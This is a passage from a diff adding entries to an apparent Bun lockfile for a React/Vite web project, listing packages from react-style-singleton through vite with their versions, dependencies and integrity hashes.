}, "sha512-uhrSEWnGeDSBdWdwIIpdm6XyyqGhLAb/J2Ptxu3DtyzmYMT1irFJT9NkLDn03t4y5Nl2AGdCMP/9aAxQm1ydHQ=="], + + "react-style-singleton": ["react-style-singleton@2.2.3", "", { "dependencies": { "get-nonce": "^1.0.0", "tslib": "^2.0.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-b6jSvxvVnyptAiLjbkWLE/lOnR4lfTtDAl+eUC7RZy+QQWc6wRzIV2CE6xBuMmDxc2qIihtDCZD5NPOFl7fRBQ=="], + + "react-syntax-highlighter": ["react-syntax-highlighter@16.1.0", "", { "dependencies": { "@babel/runtime": "^7.28.4", "highlight.js": "^10.4.1", "highlightjs-vue": "^1.0.0", "lowlight": "^1.17.0", "prismjs": "^1.30.0", "refractor": "^5.0.0" }, "peerDependencies": { "react": ">= 0.14.0" } }, "sha512-E40/hBiP5rCNwkeBN1vRP+xow1X0pndinO+z3h7HLsHyjztbyjfzNWNKuAsJj+7DLam9iT4AaaOZnueCU+Nplg=="], + + "react-tooltip": ["react-tooltip@5.30.0", "", { "dependencies": { "@floating-ui/dom": "^1.6.1", "classnames": "^2.3.0" }, "peerDependencies": { "react": ">=16.14.0", "react-dom": ">=16.14.0" } }, "sha512-Yn8PfbgQ/wmqnL7oBpz1QiDaLKrzZMdSUUdk7nVeGTwzbxCAJiJzR4VSYW+eIO42F1INt57sPUmpgKv0KwJKtg=="], + + "readdirp": ["readdirp@4.1.2", "", {}, "sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg=="], + + "recma-build-jsx": ["recma-build-jsx@1.0.0", "", { "dependencies": { "@types/estree": "^1.0.0", "estree-util-build-jsx": "^3.0.0", "vfile": "^6.0.0" } }, "sha512-8GtdyqaBcDfva+GUKDr3nev3VpKAhup1+RvkMvUxURHpW7QyIvk9F5wz7Vzo06CEMSilw6uArgRqhpiUcWp8ew=="], + + "recma-jsx": ["recma-jsx@1.0.1", "", { "dependencies": { "acorn-jsx": "^5.0.0", "estree-util-to-js": "^2.0.0", "recma-parse": "^1.0.0", "recma-stringify": "^1.0.0", "unified": "^11.0.0" }, "peerDependencies": { "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" } }, "sha512-huSIy7VU2Z5OLv6oFLosQGGDqPqdO1iq6bWNAdhzMxSJP7RAso4fCZ1cKu8j9YHCZf3TPrq4dw3okhrylgcd7w=="], + + "recma-parse": ["recma-parse@1.0.0", "", { "dependencies": { "@types/estree": "^1.0.0", "esast-util-from-js": "^2.0.0", "unified": "^11.0.0", "vfile": "^6.0.0" } }, "sha512-OYLsIGBB5Y5wjnSnQW6t3Xg7q3fQ7FWbw/vcXtORTnyaSFscOtABg+7Pnz6YZ6c27fG1/aN8CjfwoUEUIdwqWQ=="], + + "recma-stringify": ["recma-stringify@1.0.0", "", { "dependencies": { "@types/estree": "^1.0.0", "estree-util-to-js": "^2.0.0", "unified": "^11.0.0", "vfile": "^6.0.0" } }, "sha512-cjwII1MdIIVloKvC9ErQ+OgAtwHBmcZ0Bg4ciz78FtbT8In39aAYbaA7zvxQ61xVMSPE8WxhLwLbhif4Js2C+g=="], + + "refractor": ["refractor@5.0.0", "", { "dependencies": { "@types/hast": "^3.0.0", "@types/prismjs": "^1.0.0", "hastscript": "^9.0.0", "parse-entities": "^4.0.0" } }, "sha512-QXOrHQF5jOpjjLfiNk5GFnWhRXvxjUVnlFxkeDmewR5sXkr3iM46Zo+CnRR8B+MDVqkULW4EcLVcRBNOPXHosw=="], + + "regex": ["regex@6.0.1", "", { "dependencies": { "regex-utilities": "^2.3.0" } }, "sha512-uorlqlzAKjKQZ5P+kTJr3eeJGSVroLKoHmquUj4zHWuR+hEyNqlXsSKlYYF5F4NI6nl7tWCs0apKJ0lmfsXAPA=="], + + "regex-recursion": ["regex-recursion@6.0.2", "", { "dependencies": { "regex-utilities": "^2.3.0" } }, "sha512-0YCaSCq2VRIebiaUviZNs0cBz1kg5kVS2UKUfNIx8YVs1cN3AV7NTctO5FOKBA+UT2BPJIWZauYHPqJODG50cg=="], + + "regex-utilities": ["regex-utilities@2.3.0", "", {}, "sha512-8VhliFJAWRaUiVvREIiW2NXXTmHs4vMNnSzuJVhscgmGav3g9VDxLrQndI3dZZVVdp0ZO/5v0xmX516/7M9cng=="], + + "registry-auth-token": ["registry-auth-token@3.3.2", "", { "dependencies": { "rc": "^1.1.6", "safe-buffer": "^5.0.1" } }, "sha512-JL39c60XlzCVgNrO+qq68FoNb56w/m7JYvGR2jT5iR1xBrUA3Mfx5Twk5rqTThPmQKMWydGmq8oFtDlxfrmxnQ=="], + + "registry-url": ["registry-url@3.1.0", "", { "dependencies": { "rc": "^1.0.1" } }, "sha512-ZbgR5aZEdf4UKZVBPYIgaglBmSF2Hi94s2PcIHhRGFjKYu+chjJdYfHn4rt3hB6eCKLJ8giVIIfgMa1ehDfZKA=="], + + "rehype-recma": ["rehype-recma@1.0.0", "", { "dependencies": { "@types/estree": "^1.0.0", "@types/hast": "^3.0.0", "hast-util-to-estree": "^3.0.0" } }, "sha512-lqA4rGUf1JmacCNWWZx0Wv1dHqMwxzsDWYMTowuplHF3xH0N/MmrZ/G3BDZnzAkRmxDadujCjaKM2hqYdCBOGw=="], + + "remark": ["remark@15.0.1", "", { "dependencies": { "@types/mdast": "^4.0.0", "remark-parse": "^11.0.0", "remark-stringify": "^11.0.0", "unified": "^11.0.0" } }, "sha512-Eht5w30ruCXgFmxVUSlNWQ9iiimq07URKeFS3hNc8cUWy1llX4KDWfyEDZRycMc+znsN9Ux5/tJ/BFdgdOwA3A=="], + + "remark-gfm": ["remark-gfm@4.0.1", "", { "dependencies": { "@types/mdast": "^4.0.0", "mdast-util-gfm": "^3.0.0", "micromark-extension-gfm": "^3.0.0", "remark-parse": "^11.0.0", "remark-stringify": "^11.0.0", "unified": "^11.0.0" } }, "sha512-1quofZ2RQ9EWdeN34S79+KExV1764+wCUGop5CPL1WGdD0ocPpu91lzPGbwWMECpEpd42kJGQwzRfyov9j4yNg=="], + + "remark-mdx": ["remark-mdx@3.1.1", "", { "dependencies": { "mdast-util-mdx": "^3.0.0", "micromark-extension-mdxjs": "^3.0.0" } }, "sha512-Pjj2IYlUY3+D8x00UJsIOg5BEvfMyeI+2uLPn9VO9Wg4MEtN/VTIq2NEJQfde9PnX15KgtHyl9S0BcTnWrIuWg=="], + + "remark-parse": ["remark-parse@11.0.0", "", { "dependencies": { "@types/mdast": "^4.0.0", "mdast-util-from-markdown": "^2.0.0", "micromark-util-types": "^2.0.0", "unified": "^11.0.0" } }, "sha512-FCxlKLNGknS5ba/1lmpYijMUzX2esxW5xQqjWxw2eHFfS2MSdaHVINFmhjo+qN1WhZhNimq0dZATN9pH0IDrpA=="], + + "remark-rehype": ["remark-rehype@11.1.2", "", { "dependencies": { "@types/hast": "^3.0.0", "@types/mdast": "^4.0.0", "mdast-util-to-hast": "^13.0.0", "unified": "^11.0.0", "vfile": "^6.0.0" } }, "sha512-Dh7l57ianaEoIpzbp0PC9UKAdCSVklD8E5Rpw7ETfbTl3FqcOOgq5q2LVDhgGCkaBv7p24JXikPdvhhmHvKMsw=="], + + "remark-stringify": ["remark-stringify@11.0.0", "", { "dependencies": { "@types/mdast": "^4.0.0", "mdast-util-to-markdown": "^2.0.0", "unified": "^11.0.0" } }, "sha512-1OSmLd3awB/t8qdoEOMazZkNsfVTeY4fTsgzcQFdXNq8ToTN4ZGwrMnlda4K6smTFKD+GRV6O48i6Z4iKgPPpw=="], + + "require-from-string": ["require-from-string@2.0.2", "", {}, "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw=="], + + "resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="], + + "resolve-from": ["resolve-from@4.0.0", "", {}, "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g=="], + + "rimraf": ["rimraf@6.1.2", "", { "dependencies": { "glob": "^13.0.0", "package-json-from-dist": "^1.0.1" }, "bin": { "rimraf": "dist/esm/bin.mjs" } }, "sha512-cFCkPslJv7BAXJsYlK1dZsbP8/ZNLkCAQ0bi1hf5EKX2QHegmDFEFA6QhuYJlk7UDdc+02JjO80YSOrWPpw06g=="], + + "rollup": ["rollup@4.53.3", "", { "dependencies": { "@types/estree": "1.0.8" }, "optionalDependencies": { "@rollup/rollup-android-arm-eabi": "4.53.3", "@rollup/rollup-android-arm64": "4.53.3", "@rollup/rollup-darwin-arm64": "4.53.3", "@rollup/rollup-darwin-x64": "4.53.3", "@rollup/rollup-freebsd-arm64": "4.53.3", "@rollup/rollup-freebsd-x64": "4.53.3", "@rollup/rollup-linux-arm-gnueabihf": "4.53.3", "@rollup/rollup-linux-arm-musleabihf": "4.53.3", "@rollup/rollup-linux-arm64-gnu": "4.53.3", "@rollup/rollup-linux-arm64-musl": "4.53.3", "@rollup/rollup-linux-loong64-gnu": "4.53.3", "@rollup/rollup-linux-ppc64-gnu": "4.53.3", "@rollup/rollup-linux-riscv64-gnu": "4.53.3", "@rollup/rollup-linux-riscv64-musl": "4.53.3", "@rollup/rollup-linux-s390x-gnu": "4.53.3", "@rollup/rollup-linux-x64-gnu": "4.53.3", "@rollup/rollup-linux-x64-musl": "4.53.3", "@rollup/rollup-openharmony-arm64": "4.53.3", "@rollup/rollup-win32-arm64-msvc": "4.53.3", "@rollup/rollup-win32-ia32-msvc": "4.53.3", "@rollup/rollup-win32-x64-gnu": "4.53.3", "@rollup/rollup-win32-x64-msvc": "4.53.3", "fsevents": "~2.3.2" }, "bin": { "rollup": "dist/bin/rollup" } }, "sha512-w8GmOxZfBmKknvdXU1sdM9NHcoQejwF/4mNgj2JuEEdRaHwwF12K7e9eXn1nLZ07ad+du76mkVsyeb2rKGllsA=="], + + "safe-buffer": ["safe-buffer@5.2.1", "", {}, "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="], + + "scheduler": ["scheduler@0.27.0", "", {}, "sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q=="], + + "scroll-into-view-if-needed": ["scroll-into-view-if-needed@3.1.0", "", { "dependencies": { "compute-scroll-into-view": "^3.0.2" } }, "sha512-49oNpRjWRvnU8NyGVmUaYG4jtTkNonFZI86MmGRDqBphEK2EXT9gdEUoQPZhuBM8yWHxCWbobltqYO5M4XrUvQ=="], + + "semver": ["semver@7.7.3", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="], + + "seroval": ["seroval@1.3.2", "", {}, "sha512-RbcPH1n5cfwKrru7v7+zrZvjLurgHhGyso3HTyGtRivGWgYjbOmGuivCQaORNELjNONoK35nj28EoWul9sb1zQ=="], + + "seroval-plugins": ["seroval-plugins@1.3.3", "", { "peerDependencies": { "seroval": "^1.0" } }, "sha512-16OL3NnUBw8JG1jBLUoZJsLnQq0n5Ua6aHalhJK4fMQkz1lqR7Osz1sA30trBtd9VUDc2NgkuRCn8+/pBwqZ+w=="], + + "serve": ["serve@14.2.5", "", { "dependencies": { "@zeit/schemas": "2.36.0", "ajv": "8.12.0", "arg": "5.0.2", "boxen": "7.0.0", "chalk": "5.0.1", "chalk-template": "0.4.0", "clipboardy": "3.0.0", "compression": "1.8.1", "is-port-reachable": "4.0.0", "serve-handler": "6.1.6", "update-check": "1.5.4" }, "bin": { "serve": "build/main.js" } }, "sha512-Qn/qMkzCcMFVPb60E/hQy+iRLpiU8PamOfOSYoAHmmF+fFFmpPpqa6Oci2iWYpTdOUM3VF+TINud7CfbQnsZbA=="], + + "serve-handler": ["serve-handler@6.1.6", "", { "dependencies": { "bytes": "3.0.0", "content-disposition": "0.5.2", "mime-types": "2.1.18", "minimatch": "3.1.2", "path-is-inside": "1.0.2", "path-to-regexp": "3.3.0", "range-parser": "1.2.0" } }, "sha512-x5RL9Y2p5+Sh3D38Fh9i/iQ5ZK+e4xuXRd/pGbM4D13tgo/MGwbttUk8emytcr1YYzBYs+apnUngBDFYfpjPuQ=="], + + "set-cookie-parser": ["set-cookie-parser@2.7.2", "", {}, "sha512-oeM1lpU/UvhTxw+g3cIfxXHyJRc/uidd3yK1P242gzHds0udQBYzs3y8j4gCCW+ZJ7ad0yctld8RYO+bdurlvw=="], + + "shebang-command": ["shebang-command@2.0.0", "", { "dependencies": { "shebang-regex": "^3.0.0" } }, "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA=="], + + "shebang-regex": ["shebang-regex@3.0.0", "", {}, "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A=="], + + "shell-quote": ["shell-quote@1.8.3", "", {}, "sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw=="], + + "shiki": ["shiki@3.19.0", "", { "dependencies": { "@shikijs/core": "3.19.0", "@shikijs/engine-javascript": "3.19.0", "@shikijs/engine-oniguruma": "3.19.0", "@shikijs/langs": "3.19.0", "@shikijs/themes": "3.19.0", "@shikijs/types": "3.19.0", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4" } }, "sha512-77VJr3OR/VUZzPiStyRhADmO2jApMM0V2b1qf0RpfWya8Zr1PeZev5AEpPGAAKWdiYUtcZGBE4F5QvJml1PvWA=="], + + "signal-exit": ["signal-exit@3.0.7", "", {}, "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ=="], + + "solid-js": ["solid-js@1.9.10", "", { "dependencies": { "csstype": "^3.1.0", "seroval": "~1.3.0", "seroval-plugins": "~1.3.0" } }, "sha512-Coz956cos/EPDlhs6+jsdTxKuJDPT7B5SVIWgABwROyxjY7Xbr8wkzD68Et+NxnV7DLJ3nJdAC2r9InuV/4Jew=="], + + "sonner": ["sonner@2.0.7", "", { "peerDependencies": { "react": "^18.0.0 || ^19.0.0 || ^19.0.0-rc", "react-dom": "^18.0.0 || ^19.0.0 || ^19.0.0-rc" } }, "sha512-W6ZN4p58k8aDKA4XPcx2hpIQXBRAgyiWVkYhT7CvK6D3iAu7xjvVyhQHg2/iaKJZ1XVJ4r7XuwGL+WGEK37i9w=="], + + "source-map": ["source-map@0.7.6", "", {}, "sha512-i5uvt8C3ikiWeNZSVZNWcfZPItFQOsYTUAOkcUPGd8DqDy1uOUikjt5dG+uRlwyvR108Fb9DOd4GvXfT0N2/uQ=="], + + "source-map-js": ["source-map-js@1.2.1", "", {}, "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA=="], + + "space-separated-tokens": ["space-separated-tokens@2.0.2", "", {}, "sha512-PEGlAwrG8yXGXRjW32fGbg66JAlOAwbObuqVoJpv/mRgoWDQfgH1wDPvtzWyUSNAXBGSk8h755YDbbcEy3SH2Q=="], + + "string-width": ["string-width@5.1.2", "", { "dependencies": { "eastasianwidth": "^0.2.0", "emoji-regex": "^9.2.2", "strip-ansi": "^7.0.1" } }, "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA=="], + + "stringify-entities": ["stringify-entities@4.0.4", "", { "dependencies": { "character-entities-html4": "^2.0.0", "character-entities-legacy": "^3.0.0" } }, "sha512-IwfBptatlO+QCJUo19AqvrPNqlVMpW9YEL2LIVY+Rpv2qsjCGxaDLNRgeGsQWJhfItebuJhsGSLjaBbNSQ+ieg=="], + + "strip-ansi": ["strip-ansi@7.1.2", "", { "dependencies": { "ansi-regex": "^6.0.1" } }, "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA=="], + + "strip-final-newline": ["strip-final-newline@2.0.0", "", {}, "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA=="], + + "strip-json-comments": ["strip-json-comments@2.0.1", "", {}, "sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ=="], + + "style-to-js": ["style-to-js@1.1.21", "", { "dependencies": { "style-to-object": "1.0.14" } }, "sha512-RjQetxJrrUJLQPHbLku6U/ocGtzyjbJMP9lCNK7Ag0CNh690nSH8woqWH9u16nMjYBAok+i7JO1NP2pOy8IsPQ=="], + + "style-to-object": ["style-to-object@1.0.14", "", { "dependencies": { "inline-style-parser": "0.2.7" } }, "sha512-LIN7rULI0jBscWQYaSswptyderlarFkjQ+t79nzty8tcIAceVomEVlLzH5VP4Cmsv6MtKhs7qaAiwlcp+Mgaxw=="], + + "supports-color": ["supports-color@7.2.0", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw=="], + + "supports-preserve-symlinks-flag": ["supports-preserve-symlinks-flag@1.0.0", "", {}, "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w=="], + + "tailwind-merge": ["tailwind-merge@3.4.0", "", {}, "sha512-uSaO4gnW+b3Y2aWoWfFpX62vn2sR3skfhbjsEnaBI81WD1wBLlHZe5sWf0AqjksNdYTbGBEd0UasQMT3SNV15g=="], + + "tailwindcss": ["tailwindcss@4.1.17", "", {}, "sha512-j9Ee2YjuQqYT9bbRTfTZht9W/ytp5H+jJpZKiYdP/bpnXARAuELt9ofP0lPnmHjbga7SNQIxdTAXCmtKVYjN+Q=="], + + "tapable": ["tapable@2.3.0", "", {}, "sha512-g9ljZiwki/LfxmQADO3dEY1CbpmXT5Hm2fJ+QaGKwSXUylMybePR7/67YW7jOrrvjEgL1Fmz5kzyAjWVWLlucg=="], + + "tiny-case": ["tiny-case@1.0.3", "", {}, "sha512-Eet/eeMhkO6TX8mnUteS9zgPbUMQa4I6Kkp5ORiBD5476/m+PIRiumP5tmh5ioJpH7k51Kehawy2UDfsnxxY8Q=="], + + "tinyexec": ["tinyexec@1.0.2", "", {}, "sha512-W/KYk+NFhkmsYpuHq5JykngiOCnxeVL8v8dFnqxSD8qEEdRfXk1SDM6JzNqcERbcGYj9tMrDQBYV9cjgnunFIg=="], + + "tinyglobby": ["tinyglobby@0.2.15", "", { "dependencies": { "fdir": "^6.5.0", "picomatch": "^4.0.3" } }, "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ=="], + + "toggle-selection": ["toggle-selection@1.0.6", "", {}, "sha512-BiZS+C1OS8g/q2RRbJmy59xpyghNBqrr6k5L/uKBGRsTfxmu3ffiRnd8mlGPUVayg8pvfi5urfnu8TU7DVOkLQ=="], + + "toposort": ["toposort@2.0.2", "", {}, "sha512-0a5EOkAUp8D4moMi2W8ZF8jcga7BgZd91O/yabJCFY8az+XSzeGyTKs0Aoo897iV1Nj6guFq8orWDS96z91oGg=="], + + "trim-lines": ["trim-lines@3.0.1", "", {}, "sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg=="], + + "trough": ["trough@2.2.0", "", {}, "sha512-tmMpK00BjZiUyVyvrBK7knerNgmgvcV/KLVyuma/SC+TQN167GrMRciANTz09+k3zW8L8t60jWO1GpfkZdjTaw=="], + + "tsconfck": ["tsconfck@3.1.6", "", { "peerDependencies": { "typescript": "^5.0.0" }, "optionalPeers": ["typescript"], "bin": { "tsconfck": "bin/tsconfck.js" } }, "sha512-ks6Vjr/jEw0P1gmOVwutM3B7fWxoWBL2KRDb1JfqGVawBmO5UsvmWOQFGHBPl5yxYz4eERr19E6L7NMv+Fej4w=="], + + "tslib": ["tslib@2.8.1", "", {}, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="], + + "tw-animate-css": ["tw-animate-css@1.4.0", "", {}, "sha512-7bziOlRqH0hJx80h/3mbicLW7o8qLsH5+RaLR2t+OHM3D0JlWGODQKQ4cxbK7WlvmUxpcj6Kgu6EKqjrGFe3QQ=="], + + "type-fest": ["type-fest@2.19.0", "", {}, "sha512-RAH822pAdBgcNMAfWnCBU3CFZcfZ/i1eZjwFU/dsLKumyuuP3niueg2UAukXYF0E2AAoc82ZSSf9J0WQBinzHA=="], + + "typescript": ["typescript@5.9.3", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw=="], + + "undici-types": ["undici-types@7.16.0", "", {}, "sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw=="], + + "unified": ["unified@11.0.5", "", { "dependencies": { "@types/unist": "^3.0.0", "bail": "^2.0.0", "devlop": "^1.0.0", "extend": "^3.0.0", "is-plain-obj": "^4.0.0", "trough": "^2.0.0", "vfile": "^6.0.0" } }, "sha512-xKvGhPWw3k84Qjh8bI3ZeJjqnyadK+GEFtazSfZv/rKeTkTjOJho6mFqh2SM96iIcZokxiOpg78GazTSg8+KHA=="], + + "unist-util-is": ["unist-util-is@6.0.1", "", { "dependencies": { "@types/unist": "^3.0.0" } }, "sha512-LsiILbtBETkDz8I9p1dQ0uyRUWuaQzd/cuEeS1hoRSyW5E5XGmTzlwY1OrNzzakGowI9Dr/I8HVaw4hTtnxy8g=="], + + "unist-util-position": ["unist-util-position@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0" } }, "sha512-fucsC7HjXvkB5R3kTCO7kUjRdrS0BJt3M/FPxmHMBOm8JQi2BsHAHFsy27E0EolP8rp0NzXsJ+jNPyDWvOJZPA=="], + + "unist-util-position-from-estree": ["unist-util-position-from-estree@2.0.0", "", { "dependencies": { "@types/unist": "^3.0.0" } }, "sha512-KaFVRjoqLyF6YXCbVLNad/eS4+OfPQQn2yOd7zF/h5T/CSL2v8NpN6a5TPvtbXthAGw5nG+PuTtq+DdIZr+cRQ=="], + + "unist-util-remove-position": ["unist-util-remove-position@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-visit": "^5.0.0" } }, "sha512-Hp5Kh3wLxv0PHj9m2yZhhLt58KzPtEYKQQ4yxfYFEO7EvHwzyDYnduhHnY1mDxoqr7VUwVuHXk9RXKIiYS1N8Q=="], + + "unist-util-stringify-position": ["unist-util-stringify-position@4.0.0", "", { "dependencies": { "@types/unist": "^3.0.0" } }, "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ=="], + + "unist-util-visit": ["unist-util-visit@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0", "unist-util-visit-parents": "^6.0.0" } }, "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg=="], + + "unist-util-visit-parents": ["unist-util-visit-parents@6.0.2", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0" } }, "sha512-goh1s1TBrqSqukSc8wrjwWhL0hiJxgA8m4kFxGlQ+8FYQ3C/m11FcTs4YYem7V664AhHVvgoQLk890Ssdsr2IQ=="], + + "update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": { "update-browserslist-db": "cli.js" } }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="], + + "update-check": ["update-check@1.5.4", "", { "dependencies": { "registry-auth-token": "3.3.2", "registry-url": "3.1.0" } }, "sha512-5YHsflzHP4t1G+8WGPlvKbJEbAJGCgw+Em+dGR1KmBUbr1J36SJBqlHLjR7oob7sco5hWHGQVcr9B2poIVDDTQ=="], + + "uri-js": ["uri-js@4.4.1", "", { "dependencies": { "punycode": "^2.1.0" } }, "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg=="], + + "use-callback-ref": ["use-callback-ref@1.3.3", "", { "dependencies": { "tslib": "^2.0.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-jQL3lRnocaFtu3V00JToYz/4QkNWswxijDaCVNZRiRTO3HQDLsdu1ZtmIUvV4yPp+rvWm5j0y0TG/S61cuijTg=="], + + "use-sidecar": ["use-sidecar@1.1.3", "", { "dependencies": { "detect-node-es": "^1.1.0", "tslib": "^2.0.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-Fedw0aZvkhynoPYlA5WXrMCAMm+nSWdZt6lzJQ7Ok8S6Q+VsHmHpRWndVRJ8Be0ZbkfPc5LRYH+5XrzXcEeLRQ=="], + + "use-sync-external-store": ["use-sync-external-store@1.6.0", "", { "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w=="], + + "util-deprecate": ["util-deprecate@1.0.2", "", {}, "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw=="], + + "uuid": ["uuid@11.1.0", "", { "bin": { "uuid": "dist/esm/bin/uuid" } }, "sha512-0/A9rDy9P7cJ+8w1c9WD9V//9Wj15Ce2MPz8Ri6032usz+NfePxx5AcN3bN+r6ZL6jEo066/yNYB3tn4pQEx+A=="], + + "valibot": ["valibot@1.2.0", "", { "peerDependencies": { "typescript": ">=5" }, "optionalPeers": ["typescript"] }, "sha512-mm1rxUsmOxzrwnX5arGS+U4T25RdvpPjPN4yR0u9pUBov9+zGVtO84tif1eY4r6zWxVxu3KzIyknJy3rxfRZZg=="], + + "vary": ["vary@1.1.2", "", {}, "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg=="], + + "vfile": ["vfile@6.0.3", "", { "dependencies": { "@types/unist": "^3.0.0", "vfile-message": "^4.0.0" } }, "sha512-KzIbH/9tXat2u30jf+smMwFCsno4wHVdNmzFyL+T/L3UGqqk6JKfVqOFOZEpZSHADH1k40ab6NUIXZq422ov3Q=="], + + "vfile-message": ["vfile-message@4.0.3", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-stringify-position": "^4.0.0" } }, "sha512-QTHzsGd1EhbZs4AsQ20JX1rC3cOlt/IWJruk893DfLRr57lcnOeMaWG4K0JrRta4mIJZKth2Au3mM3u03/JWKw=="], + + "vite": ["vite@7.2.6", "", { "dependencies": { "esbuild": "^0.25.0", "fdir": "^6.5.0", "picomatch": "^4.0.3", "postcss": "^8.5.6", "rollup": "^4.43.0", "tinyglobby": "^0.2.15" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", "jiti": ">=1.21.0", "less": "^4.0.0", "lightningcss": 